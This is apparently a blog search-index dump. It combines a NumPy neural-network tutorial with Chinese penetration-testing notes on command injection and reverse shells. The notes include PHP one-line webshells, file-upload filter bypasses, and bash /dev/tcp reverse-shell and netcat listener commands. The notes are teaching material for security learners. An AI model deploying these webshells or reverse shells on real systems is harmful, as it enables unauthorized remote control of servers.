\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}_j} \\boldsymbol{x}_i \\\\\r\u0026amp;= \\left( \\boldsymbol{x}^T \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}} \\right)_{ij} \\\\\r\\\\\r\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{b}_j} \u0026amp;= \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}_i} \\frac{\\partial \\boldsymbol{y}_i}{\\partial \\boldsymbol{b}_j} \\\\\r\u0026amp;= \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}_i} \\delta_{ij} \\frac{\\partial \\boldsymbol{y}_j}{\\partial \\boldsymbol{b}_j} \\\\\r\u0026amp;= \\left( \\mathbf{1} \\, \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}} \\right)_j \\\\\r\\\\\r\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{x}_i} \u0026amp;= \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}_j} \\frac{\\partial \\boldsymbol{y}_j}{\\partial \\boldsymbol{x}_i} \\\\\r\u0026amp;= \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}_j} \\boldsymbol{W}_{ij} \\\\\r\u0026amp;= \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}_j} \\left( \\boldsymbol{W} \\right)_{ji}^{T} \\\\\r\u0026amp;= \\left( \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}} \\boldsymbol{W}^T \\right)_i\r\\end{aligned}\r\\end{equation}\r∂Wij​∂C​∂bj​∂C​∂xi​∂C​​=∂yj​∂C​∂Wij​∂yj​​=∂yj​∂C​xi​=(xT∂y∂C​)ij​=∂yi​∂C​∂bj​∂yi​​=∂yi​∂C​δij​∂bj​∂yj​​=(1∂y∂C​)j​=∂yj​∂C​∂xi​∂yj​​=∂yj​∂C​Wij​=∂yj​∂C​(W)jiT​=(∂y∂C​WT)i​​​​ 在反向传播过程中，∂C∂y\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{y}}∂y∂C​实际是一个b×nb\\times nb×n形状的矩阵，bbb为batch_size，nnn为该层网络的输出维度，左乘矩阵同时会对batch_size这一维度求和，用于更新网络的参数，右乘矩阵则会保留bitch_size这一维度，用于反向传播到下一层。 代码 def backward(self, top_grad):\rself.dW = np.dot(self.x.T, top_grad)\rself.db = np.sum(top_grad, axis=0)\rbottom_grad = np.dot(top_grad, self.W.T)\rreturn bottom_grad\r","date":"2025-11-07","heading":"全连接层-\u0026gt;反向传播","objectID":"/blog/posts/deep-learning/mlp-manual/:2:2","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#全连接层-反向传播"},{"categories":["深度学习"],"collections":null,"content":"全连接层-\u0026gt;参数初始化\r数学模型 模仿torch 使用 Kaiming (He) 均匀初始化的参数范围 代码 def __init__(self, input_size, out_size):\r# 模仿torch 使用 Kaiming (He) 均匀初始化的参数范围\rlimit_weight = np.sqrt(6 / input_size)\rself.W = np.random.uniform(-limit_weight, limit_weight, (out_size, input_size))\rlimit_bias = 1 / np.sqrt(input_size)\rself.b = np.random.uniform(-limit_bias, limit_bias, (1, out_size))\rself.x = None\rself.db = None\rself.dW = None\r","date":"2025-11-07","heading":"全连接层-\u0026gt;参数初始化","objectID":"/blog/posts/deep-learning/mlp-manual/:2:3","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#全连接层-参数初始化"},{"categories":["深度学习"],"collections":null,"content":"全连接层-\u0026gt;参数更新\r数学模型 在所有网络完成反向传播后，对全连接层进行参数更新，采用mini-batch SGD，每一次迭代按照一定的学习率沿梯度的反方向更新参数，直至收敛。 W←W−η∂C∂Wb←b−η∂C∂b\r\\begin{equation}\r\\begin{aligned}\r\\boldsymbol{W}\\leftarrow\\boldsymbol{W}-\\eta\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{W}}\\\\\r\\boldsymbol{b} \\leftarrow \\boldsymbol{b} - \\eta \\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{b}}\r\\end{aligned}\r\\end{equation}\rW←W−η∂W∂C​b←b−η∂b∂C​​​​ 代码 def update_params(self, lr=0.01):\rself.W -= lr * self.dW\rself.b -= lr * self.db\r","date":"2025-11-07","heading":"全连接层-\u0026gt;参数更新","objectID":"/blog/posts/deep-learning/mlp-manual/:2:4","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#全连接层-参数更新"},{"categories":["深度学习"],"collections":null,"content":"三、ReLU激活层\r","date":"2025-11-07","heading":"三、ReLU激活层","objectID":"/blog/posts/deep-learning/mlp-manual/:3:0","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#三relu激活层"},{"categories":["深度学习"],"collections":null,"content":"ReLU层-\u0026gt;前向传播\r数学模型 y=max⁡{0,x}\r\\begin{equation}\ry=\\max\\left\\{0,x\\right\\}\r\\end{equation}\ry=max{0,x}​​ 代码 def forward(self, x):\rself.x = x\rreturn np.maximum(0, x)\r","date":"2025-11-07","heading":"ReLU层-\u0026gt;前向传播","objectID":"/blog/posts/deep-learning/mlp-manual/:3:1","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#relu层-前向传播"},{"categories":["深度学习"],"collections":null,"content":"ReLU层-\u0026gt;反向传播\r数学推导 ReLU′(x)={0,x\u0026lt;01,x⩾0 ∂C∂xi=∂C∂yiReLU′(xi)={0,xi\u0026lt;0∂C∂yi,xi⩾0\r\\begin{equation}\r\\begin{aligned}\\mathrm{ReLU}^{\\prime}\\left(x\\right) \u0026amp; =\\left\\{\\begin{array}{ll}0,x\u0026lt;0\\\\ 1,x\\geqslant0\\end{array}\\right.\\\\ \u0026amp; \\\\ \\ \\frac{\\partial\\boldsymbol{C}}{\\partial\\boldsymbol{x}_i}=\\frac{\\partial\\boldsymbol{C}}{\\partial\\boldsymbol{y}_i}\\mathrm{ReLU}^{\\prime}\\left(\\boldsymbol{x}_{i}\\right) \u0026amp; =\\left\\{\\begin{array}{ll}0, \u0026amp; \\boldsymbol{x}_{i}\u0026lt;0\\\\ \\frac{\\partial\\boldsymbol{C}}{\\partial\\boldsymbol{y}_i}, \u0026amp; \\boldsymbol{x}_{i}\\geqslant0\\end{array}\\right.\\end{aligned}\r\\end{equation}\rReLU′(x) ∂xi​∂C​=∂yi​∂C​ReLU′(xi​)​={0,x\u0026lt;01,x⩾0​={0,∂yi​∂C​,​xi​\u0026lt;0xi​⩾0​​​​ 代码 def backward(self, top_grad):\rreturn (self.x \u003e 0) * top_grad\r","date":"2025-11-07","heading":"ReLU层-\u0026gt;反向传播","objectID":"/blog/posts/deep-learning/mlp-manual/:3:2","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#relu层-反向传播"},{"categories":["深度学习"],"collections":null,"content":"四、Softmax-Loss层\r","date":"2025-11-07","heading":"四、Softmax-Loss层","objectID":"/blog/posts/deep-learning/mlp-manual/:4:0","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#四softmax-loss层"},{"categories":["深度学习"],"collections":null,"content":"Softmax层-\u0026gt;前向传播\r数学模型 yi^=exp⁡(xi)∑jexp⁡(xj)\r\\begin{equation}\r\\hat{\\boldsymbol{y}_i}=\\frac{\\exp (\\boldsymbol{x}_i)}{\\sum_{j} \\exp (\\boldsymbol{x}_j)}\r\\end{equation}\ryi​^​=∑j​exp(xj​)exp(xi​)​​​ 实际使用中，为了避免指数发散，我们可以对x\\boldsymbol{x}x中的每个元素减去最大值。 yi^=exp⁡[xi−max⁡(x)]∑jexp⁡[xj−max⁡(x)]\r\\begin{equation}\r\\hat{\\boldsymbol{y}_i}=\\frac{\\exp [\\boldsymbol{x}_i-\\max(\\boldsymbol{x})]}{\\sum_{j} \\exp [\\boldsymbol{x}_j-\\max(\\boldsymbol{x})]}\r\\end{equation}\ryi​^​=∑j​exp[xj​−max(x)]exp[xi​−max(x)]​​​ 代码 def forward(self, x):\rexp_x = np.exp(x - np.max(x, axis=1, keepdims=True))\ry_pred = exp_x / np.sum(exp_x, axis=1, keepdims=True)\rself.x = x\rself.y_pred = y_pred\rreturn y_pred\r","date":"2025-11-07","heading":"Softmax层-\u0026gt;前向传播","objectID":"/blog/posts/deep-learning/mlp-manual/:4:1","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#softmax层-前向传播"},{"categories":["深度学习"],"collections":null,"content":"Loss层-\u0026gt;前向传播\r数学模型 C=−∑iyiln⁡y^i\r\\begin{equation}\rC=-\\sum_i\\boldsymbol{y}_i\\ln\\boldsymbol{\\hat{y}}_i\r\\end{equation}\rC=−i∑​yi​lny^​i​​​L=1N∑n=1NCn\r\\begin{equation}\rL=\\frac{1}{N}\\sum_{n=1}^{N} C^{n}\r\\end{equation}\rL=N1​n=1∑N​Cn​​各变量含义如下： yi\\boldsymbol{y}_iyi​：真实标签的one-hot编码向量。 y^i\\boldsymbol{\\hat{y}}_iy^​i​：预测的概率分布向量。 CCC：单个样本的交叉熵损失。 LLL​：一个batch的平均损失。 式 (10) 在单分类任务中可化简为 C=−ln⁡y^r\r\\begin{equation}\rC=-\\ln\\boldsymbol{\\hat{y}}_r\r\\end{equation}\rC=−lny^​r​​​ 其中，y^r\\boldsymbol{\\hat{y}}_ry^​r​代表预测为正确类别r的归一化概率。 代码 def forward(self, x):\rexp_x = np.exp(x - np.max(x, axis=1, keepdims=True))\ry_pred = exp_x / np.sum(exp_x, axis=1, keepdims=True)\rself.x = x\rself.y_pred = y_pred\rreturn y_pred\rdef get_loss(self, labels):\rbatch_size = len(labels)\rself.one_hot_labels = np.zeros_like(self.y_pred)\rself.one_hot_labels[np.arange(batch_size), labels] = 1\rloss = -np.sum(self.one_hot_labels * np.log(self.y_pred)) / batch_size\rreturn loss\r","date":"2025-11-07","heading":"Loss层-\u0026gt;前向传播","objectID":"/blog/posts/deep-learning/mlp-manual/:4:2","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#loss层-前向传播"},{"categories":["深度学习"],"collections":null,"content":"Softmax-Loss层-\u0026gt;反向传播\r数学推导 之所以将Softmax层和Loss层合二为一，是因为两层的反向传播的结果比较简单，为： ∂L∂x=1N(y^−y)\r\\begin{equation}\r\\frac{\\partial L}{\\partial \\boldsymbol{x}}=\\frac{1}{N}(\\hat{\\boldsymbol{y}}-\\boldsymbol{y})\r\\end{equation}\r∂x∂L​=N1​(y^​−y)​​ 接下来是推导 由L=∑n=1NCnL=\\sum_{n=1}^{N} C^{n}L=∑n=1N​Cn易得 ∂L∂xi=1N∑n=1N∂Cn∂xi\r\\begin{equation}\r\\frac{\\partial L}{\\partial \\boldsymbol{x}_i}=\\frac{1}{N}\\sum_{n=1}^{N} \\frac{\\partial C^n}{\\partial \\boldsymbol{x}_i}\r\\end{equation}\r∂xi​∂L​=N1​n=1∑N​∂xi​∂Cn​​​ 对于C=−ln⁡y^rC=-\\ln\\boldsymbol{\\hat{y}}_rC=−lny^​r​，链式求导得（同样使用爱因斯坦求和约定） ∂C∂xi=−1y^r∂y^r∂xi\r\\begin{equation}\r\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{x}_i}=-\\frac{1}{\\boldsymbol{\\hat{y}}_r}\\frac{\\partial \\boldsymbol{\\hat{y}}_r}{\\partial \\boldsymbol{x}_i}\r\\end{equation}\r∂xi​∂C​=−y^​r​1​∂xi​∂y^​r​​​​ 对于∂y^r∂xi\\frac{\\partial \\boldsymbol{\\hat{y}}_r}{\\partial \\boldsymbol{x}_i}∂xi​∂y^​r​​，需要分类讨论 当i=ri=ri=r​时， ∂y^r∂xr=1∂xrexp⁡(xr)∑jexp⁡(xj)=exp⁡(xr)∑jexp⁡(xj)−exp⁡(xr)exp⁡(xr)(∑jexp⁡(xj))2=y^r−y^r2\r\\begin{equation}\r\\begin{aligned}\r\\frac{\\partial \\boldsymbol{\\hat{y}}_r}{\\partial \\boldsymbol{x}_r} \u0026amp;= \\frac{1}{\\partial \\boldsymbol{x}_r} \\frac{\\exp \\left( \\boldsymbol{x}_r \\right)}{\\sum_j{\\exp}\\left( \\boldsymbol{x}_j \\right)} \\\\\r\u0026amp;= \\frac{\\exp \\left( \\boldsymbol{x}_r \\right) \\sum_j{\\exp}\\left( \\boldsymbol{x}_j \\right) - \\exp \\left( \\boldsymbol{x}_r \\right) \\exp \\left( \\boldsymbol{x}_r \\right)}{\\left( \\sum_j{\\exp}\\left( \\boldsymbol{x}_j \\right) \\right)^2} \\\\\r\u0026amp;= \\boldsymbol{\\hat{y}}_r - \\boldsymbol{\\hat{y}}_r^2\r\\end{aligned}\r\\end{equation}\r∂xr​∂y^​r​​​=∂xr​1​∑j​exp(xj​)exp(xr​)​=(∑j​exp(xj​))2exp(xr​)∑j​exp(xj​)−exp(xr​)exp(xr​)​=y^​r​−y^​r2​​​​ 当i≠ri\\ne ri=r时， ∂y^r∂xi=1∂xiexp⁡(xr)∑jexp⁡(xj)=−exp⁡(xi)exp⁡(xr)(∑jexp⁡(xj))2=−y^iy^r\r\\begin{equation}\r\\begin{aligned}\r\\frac{\\partial \\boldsymbol{\\hat{y}}_r}{\\partial \\boldsymbol{x}_i} \u0026amp;= \\frac{1}{\\partial \\boldsymbol{x}_i} \\frac{\\exp \\left( \\boldsymbol{x}_r \\right)}{\\sum_j{\\exp}\\left( \\boldsymbol{x}_j \\right)} \\\\\r\u0026amp;= -\\frac{\\exp \\left( \\boldsymbol{x}_i \\right) \\exp \\left( \\boldsymbol{x}_r \\right)}{\\left( \\sum_j{\\exp}\\left( \\boldsymbol{x}_j \\right) \\right)^2} \\\\\r\u0026amp;= -\\boldsymbol{\\hat{y}}_i \\boldsymbol{\\hat{y}}_r\r\\end{aligned}\r\\end{equation}\r∂xi​∂y^​r​​​=∂xi​1​∑j​exp(xj​)exp(xr​)​=−(∑j​exp(xj​))2exp(xi​)exp(xr​)​=−y^​i​y^​r​​​​ 综上所述， ∂C∂xi={y^i−1,i=ry^i,i≠r=y^i−δir\r\\begin{equation}\r\\begin{aligned}\r\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{x}_i} \u0026amp;= \\begin{cases}\r\\boldsymbol{\\hat{y}}_i - 1, \u0026amp; i = r \\\\\r\\boldsymbol{\\hat{y}}_i, \u0026amp; i \\ne r \\\\\r\\end{cases} \\\\\r\u0026amp;= \\boldsymbol{\\hat{y}}_i - \\delta_{ir}\r\\end{aligned}\r\\end{equation}\r∂xi​∂C​​={y^​i​−1,y^​i​,​i=ri=r​=y^​i​−δir​​​​ 向量形式为 ∂C∂x=y^−y\r\\begin{equation}\r\\frac{\\partial \\boldsymbol{C}}{\\partial \\boldsymbol{x}}\r=\\boldsymbol{\\hat{y}}-\\boldsymbol{y}\r\\end{equation}\r∂x∂C​=y^​−y​​ 由式 (11) 即得证 ∂L∂x=1N(y^−y)\r\\begin{equation}\r\\frac{\\partial L}{\\partial \\boldsymbol{x}}=\\frac{1}{N}(\\hat{\\boldsymbol{y}}-\\boldsymbol{y})\r\\end{equation}\r∂x∂L​=N1​(y^​−y)​​ 代码 def backward(self):\rbatch_size = len(self.one_hot_labels)\rbottom_grad = (self.y_pred - self.one_hot_labels) / batch_size\rreturn bottom_grad\r","date":"2025-11-07","heading":"Softmax-Loss层-\u0026gt;反向传播","objectID":"/blog/posts/deep-learning/mlp-manual/:4:3","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#softmax-loss层-反向传播"},{"categories":["深度学习"],"collections":null,"content":"五、搭建全连接神经网络\r模型 我们要搭建只有⼀层hidden layer的全连接神经网络，即搭建三层全连接层，再加上最后的Softmax-Loss层。 代码 class NumpyMLP:\rdef __init__(self, input_size=784, hidden_size=128, num_classes=10):\rself.linear1 = NumpyLinear(input_size, hidden_size)\rself.relu1 = NumpyReLU()\rself.linear2 = NumpyLinear(hidden_size, hidden_size)\rself.relu2 = NumpyReLU()\rself.linear3 = NumpyLinear(hidden_size, num_classes)\rself.softmax = NumpySoftmax()\rself.update_layers = [self.linear1, self.linear2, self.linear3]\rdef forward(self, x):\rx = self.linear1(x)\rx = self.relu1(x)\rx = self.linear2(x)\rx = self.relu2(x)\rx = self.linear3(x)\rx = self.softmax(x)\rreturn x\rdef get_loss(self, labels):\rreturn self.softmax.get_loss(labels)\rdef backward(self):\rgrad = self.softmax.backward()\rgrad = self.linear3.backward(grad)\rgrad = self.relu2.backward(grad)\rgrad = self.linear2.backward(grad)\rgrad = self.relu1.backward(grad)\rgrad = self.linear1.backward(grad)\rdef update_params(self, lr=0.01):\rfor layer in self.update_layers:\rlayer.update_params(lr)\rdef __call__(self, x):\rreturn self.forward(x)\r","date":"2025-11-07","heading":"五、搭建全连接神经网络","objectID":"/blog/posts/deep-learning/mlp-manual/:5:0","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#五搭建全连接神经网络"},{"categories":["深度学习"],"collections":null,"content":"六、模型训练\r","date":"2025-11-07","heading":"六、模型训练","objectID":"/blog/posts/deep-learning/mlp-manual/:6:0","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#六模型训练"},{"categories":["深度学习"],"collections":null,"content":"训练过程描述\r在一个 mini-batch 随机梯度下降 (SGD) 训练过程中，我们会逐步执行以下步骤来训练 模型： 前向传播：对于每个 mini-batch 数据，我们将输入 x 传入 forward 方法。模型按层顺序计算线性变换、ReLU 激活和 softmax 预测概率。 计算损失：前向传播得到的预测输出将与实际标签 labels 一起传入 get_loss 方法，计算交叉熵损失。 反向传播：损失计算完成后，通过调用 backward 方法，模型按层逆序逐步传播梯度。softmax 层的 backward 返回初始梯度，后续每层根据前一层传入的梯度进行自身的反向传播计算，并传递给下一层。 参数更新：反向传播完成后，调用 update_params 方法，按学习率 lr 更新各层权重和偏置。该更新通过遍历 update_layers 中的可训练层（例如每个 NumpyLinear 层）逐步完成。 重复迭代：完成一个 mini-batch 的训练后，data_loader从下一个 mini-batch 获取新的训练样本，重复上述步骤，直到所有 mini-batch 均参与训练。在一个训练集训练完毕后，还需执行多个 epoch。 ","date":"2025-11-07","heading":"训练过程描述","objectID":"/blog/posts/deep-learning/mlp-manual/:6:1","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#训练过程描述"},{"categories":["深度学习"],"collections":null,"content":"一次完整训练\r为了减少超参，将隐藏层的大小都设置为hidden_size×\\times×​hidden_size维，于是我们有四个超参 hidden_size batch_size num_epochs // 训练集 lr // 学习率 对于一个超参组合，一次完整训练过程如下所示： hidden_size = 128\rbatch_size = 32\rnum_epochs = 10\rlr = 0.01\rtrain_loader = NumpyDataLoader(img_train_np, label_train_np, batch_size=batch_size, shuffle=True)\rtest_loader = NumpyDataLoader(img_test_np, label_test_np, batch_size=batch_size, shuffle=False)\rmodel = NumpyMLP(hidden_size=hidden_size)\rinit_params = model.export_parameters()\rprint('Training Numpy model...')\rfor epoch in range(num_epochs):\rrunning_loss = 0.0\rfor images, labels in train_loader:\ry_pred = model(images)\rrunning_loss += model.get_loss(labels)\rmodel.backward()\rmodel.update_params(lr=lr)\rprint(f'Epoch [{epoch+1}/{num_epochs}], Loss: {running_loss/len(train_loader):.4f}')\r","date":"2025-11-07","heading":"一次完整训练","objectID":"/blog/posts/deep-learning/mlp-manual/:6:2","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#一次完整训练"},{"categories":["深度学习"],"collections":null,"content":"寻找最优超参\rnum_epochs 和lr直接影响一次训练的程度，不好直接比较优劣，因此我们讨论hidden_size和batch_size对模型的影响，通过验证集来评估。 # 参数设置\rhidden_sizes = [32, 64, 128, 256]\rbatch_sizes = [8, 16, 32, 64]\rlearning_rate = 0.01\rnum_epochs = 10\r# 用于保存验证集准确率的矩阵\raccuracy_matrix = np.zeros((len(hidden_sizes), len(batch_sizes)))\rbest_accuracy = 0\rbest_params = {}\r# 超参数搜索\rfor i, hidden_size in enumerate(hidden_sizes):\rfor j, batch_size in enumerate(batch_sizes):\r# 初始化数据加载器和模型\rtrain_loader = NumpyDataLoader(img_train_np, label_train_np, batch_size=batch_size, shuffle=True)\rval_loader = NumpyDataLoader(img_val_np, label_val_np, batch_size=batch_size, shuffle=False)\rmodel = NumpyMLP(hidden_size=hidden_size)\r# 训练模型\rfor epoch in range(num_epochs):\rfor images, labels in train_loader:\ry_pred = model(images)\rmodel.get_loss(labels)\rmodel.backward()\rmodel.update_params(lr=learning_rate)\r# 计算验证集准确率\rcorrect = 0\rtotal = 0\rfor images, labels in val_loader:\ry_pred = model(images)\rpredicted = np.argmax(y_pred, axis=1)\rtotal += labels.size\rcorrect += (predicted == labels).sum()\raccuracy = 100 * correct / total\raccuracy_matrix[i, j] = accuracy # 保存准确率到矩阵中\r# 打印并更新最佳参数\rprint(f'Params: hidden_size={hidden_size}, batch_size={batch_size} | Validation Accuracy: {accuracy:.2f}%')\rif accuracy \u003e best_accuracy:\rbest_accuracy = accuracy\rbest_params = {\r'hidden_size': hidden_size,\r'batch_size': batch_size,\r}\rprint(f'Best params: {best_params} with accuracy: {best_accuracy:.2f}%')\r可视化结果 将得到的最优超参训练的模型用于测试集，结果如下，热力图的幅值表示该超参组合的模型在验证集上的准确率。 大体趋势为Batch_size越小，Hidden_size越大，效果越好，但也需要更多训练时间和更多epochs数，如左下角 (8, 256) 组合略逊于上方 (8, 128) 组合，可能是因为训练不够充分所致。 最终，我们采用 (8, 128) 组合最为 (Batch_size, Hidden_size) 超参组合。 ","date":"2025-11-07","heading":"寻找最优超参","objectID":"/blog/posts/deep-learning/mlp-manual/:6:3","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#寻找最优超参"},{"categories":["深度学习"],"collections":null,"content":"七、模型评估\r用Pytorch重写一份相同的MLP模型，在相同的超参数设置下进行训练，并且网络初始化参数也保持一致，结果如下： 可以看出，训练过程相差无几，证明了我们手动构建的模型与Pytorch的一致性，同时两者在测试集上的准确度如下： Numpy：97.68% Pytorch：97.61% 结果也非常接近。 ","date":"2025-11-07","heading":"七、模型评估","objectID":"/blog/posts/deep-learning/mlp-manual/:7:0","tags":["MLP","DL"],"title":"使用Numpy实现全连接神经网络","uri":"/blog/posts/deep-learning/mlp-manual/#七模型评估"},{"categories":["逆向渗透"],"collections":null,"content":"远程命令注入（Remote Command Injection，简称 RCE）是一类严重的安全漏洞，通常出现在 Web 应用或网络服务中。它允许攻击者向目标服务器发送恶意命令，从而在服务器上执行任意代码。对渗透测试者而言，远程命令注入不仅提供了直接控制目标系统的途径，还能帮助进一步扩展攻击面，提升权限或植入持久后门。 ","date":"2025-11-07","heading":"","objectID":"/blog/posts/reverse-engineering/learning-reverse5/:0:0","tags":["渗透"],"title":"渗透测试笔记（五）远程命令注入","uri":"/blog/posts/reverse-engineering/learning-reverse5/#"},{"categories":["逆向渗透"],"collections":null,"content":"一、注入场景\r","date":"2025-11-07","heading":"一、注入场景","objectID":"/blog/posts/reverse-engineering/learning-reverse5/:1:0","tags":["渗透"],"title":"渗透测试笔记（五）远程命令注入","uri":"/blog/posts/reverse-engineering/learning-reverse5/#一注入场景"},{"categories":["逆向渗透"],"collections":null,"content":"1. 命令行参数传递\r这是命令注入最直接的表现形式。应用程序使用 system()、exec()、popen() 等函数或直接执行 Shell 脚本，将用户输入直接拼接到命令行并在 Shell 中执行。只要攻击者能够控制输入，就可能借助特殊字符（如 ;、\u0026amp;\u0026amp; 等）在 Shell 中分隔和注入其他命令。 ","date":"2025-11-07","heading":"1. 命令行参数传递","objectID":"/blog/posts/reverse-engineering/learning-reverse5/:1:1","tags":["渗透"],"title":"渗透测试笔记（五）远程命令注入","uri":"/blog/posts/reverse-engineering/learning-reverse5/#1-命令行参数传递"},{"categories":["逆向渗透"],"collections":null,"content":"2. 文件操作或网络工具调用\r此场景应隶属于上一场景，但此场景的特征更为明显。应用程序调用系统工具（如 ping、curl、nslookup 等）并将用户输入作为参数，执行外部命令时，如果没有处理输入，就可能被攻击者插入额外命令。 ","date":"2025-11-07","heading":"2. 文件操作或网络工具调用","objectID":"/blog/posts/reverse-engineering/learning-reverse5/:1:2","tags":["渗透"],"title":"渗透测试笔记（五）远程命令注入","uri":"/blog/posts/reverse-engineering/learning-reverse5/#2-文件操作或网络工具调用"},{"categories":["逆向渗透"],"collections":null,"content":"3. 文件上传中的命令注入\r文件上传注入是一种间接的命令注入攻击。攻击者通过上传恶意文件（如带有木马的 PHP 文件），并在服务器上执行该文件，从而获得对系统的控制。 此方式主要依赖服务器是否能够执行上传的文件，举一个最简单的例子，如果允许上传 .php 等可执行文件到网站目录下，则可通过网站自带的 php 解析功能执行恶意代码。但往往服务器具有类型检查，只允许上传图片等特定文件，此时则需要伪装木马，但难点在于让木马被解析执行，例如 php 通过 include 解析一个含有木马代码的图片文件。 ","date":"2025-11-07","heading":"3. 文件上传中的命令注入","objectID":"/blog/posts/reverse-engineering/learning-reverse5/:1:3","tags":["渗透"],"title":"渗透测试笔记（五）远程命令注入","uri":"/blog/posts/reverse-engineering/learning-reverse5/#3-文件上传中的命令注入"},{"categories":["逆向渗透"],"collections":null,"content":"二、注入木马示例\r","date":"2025-11-07","heading":"二、注入木马示例","objectID":"/blog/posts/reverse-engineering/learning-reverse5/:2:0","tags":["渗透"],"title":"渗透测试笔记（五）远程命令注入","uri":"/blog/posts/reverse-engineering/learning-reverse5/#二注入木马示例"},{"categories":["逆向渗透"],"collections":null,"content":"php 木马\r一句话 php 木马 \u003c?php system($_POST['cmd']); ?\u003e\r但 system 这些函数是被默认禁用的，此时可退而求其次，试一试 eval. \u003c?php @eval($_POST['phpcode']); ?\u003e\r","date":"2025-11-07","heading":"php 木马","objectID":"/blog/posts/reverse-engineering/learning-reverse5/:2:1","tags":["渗透"],"title":"渗透测试笔记（五）远程命令注入","uri":"/blog/posts/reverse-engineering/learning-reverse5/#php-木马"},{"categories":["逆向渗透"],"collections":null,"content":"三、绕过检测\r请求头检测：修改请求头的 MIME 类型 后缀检测：使用 .php3、.phtml 等可以被服务器识别为 PHP 的扩展名；使用 .pphphp 双写绕过； %00 截断技巧；或上传允许的后缀名然后寻找执行漏洞。 图像魔术字检测：cat muma.php origin.png \u0026gt;\u0026gt; 1.png 可伪造一个图片木马，然后寻找执行漏洞。 ","date":"2025-11-07","heading":"三、绕过检测","objectID":"/blog/posts/reverse-engineering/learning-reverse5/:3:0","tags":["渗透"],"title":"渗透测试笔记（五）远程命令注入","uri":"/blog/posts/reverse-engineering/learning-reverse5/#三绕过检测"},{"categories":["逆向渗透"],"collections":null,"content":"一、反弹Shell\r渗透测试中，如果发现命令执行漏洞，通常会希望获得一个交互式 shell。如果无法添加新账户、SSH 密钥或 .rhosts 文件来直接登录，下一步通常是尝试建立反向 shell 或绑定 shell 到一个 TCP 端口。 创建反向 shell 的方法取决于目标系统上安装的脚本语言，也可以上传一个二进制程序来执行。以下是通过 Bash 建立反弹Shell 的步骤，其他脚本语言可以参考pentestmonkey-cheatsheets/shells.md at master · acole76/pentestmonkey-cheatsheets. ","date":"2025-11-07","heading":"一、反弹Shell","objectID":"/blog/posts/reverse-engineering/learning-reverse4/:1:0","tags":["渗透"],"title":"渗透测试笔记（四）反弹Shell与权限提升","uri":"/blog/posts/reverse-engineering/learning-reverse4/#一反弹shell"},{"categories":["逆向渗透"],"collections":null,"content":"1. 在攻击机上上监听端口\rnc -lvnp 8080\r参数解释： -l：监听模式。 -v：详细模式，显示连接信息。 -n：直接使用 IP 地址，不做 DNS 解析。 -p 8080：监听的端口为 8080。 ","date":"2025-11-07","heading":"1. 在攻击机上上监听端口","objectID":"/blog/posts/reverse-engineering/learning-reverse4/:1:1","tags":["渗透"],"title":"渗透测试笔记（四）反弹Shell与权限提升","uri":"/blog/posts/reverse-engineering/learning-reverse4/#1-在攻击机上上监听端口"},{"categories":["逆向渗透"],"collections":null,"content":"2. 在靶机上建立反弹Shell\rbash -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261\r此命令在靶机上将一个 shell 会话的输入和输出重定向到指定的 IP 地址和端口来建立连接，如这里的 10.0.0.1 地址，8080 端口。 在某些情况下，bash 环境可能受到限制，导致直接执行反弹 shell 命令无法成功。为提高兼容性，可以尝试使用以下更通用的方式： bash -c \"bash -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261\"\r然后回到攻击机的监听 Shell，可以看到已经连接，注意此时需要使用 exit 退出。 ","date":"2025-11-07","heading":"2. 在靶机上建立反弹Shell","objectID":"/blog/posts/reverse-engineering/learning-reverse4/:1:2","tags":["渗透"],"title":"渗透测试笔记（四）反弹Shell与权限提升","uri":"/blog/posts/reverse-engineering/learning-reverse4/#2-在靶机上建立反弹shell"},{"categories":["逆向渗透"],"collections":null,"content":"3. 交互式反弹Shell\r上面步骤获取的Shell交互性并不强，并且 Ctrl+C 会在反弹 Shell 命令未终止的情况下退出 Shell ，如果靶机上安装有python，可通过以下步骤简单升级 Shell。注意攻击机的 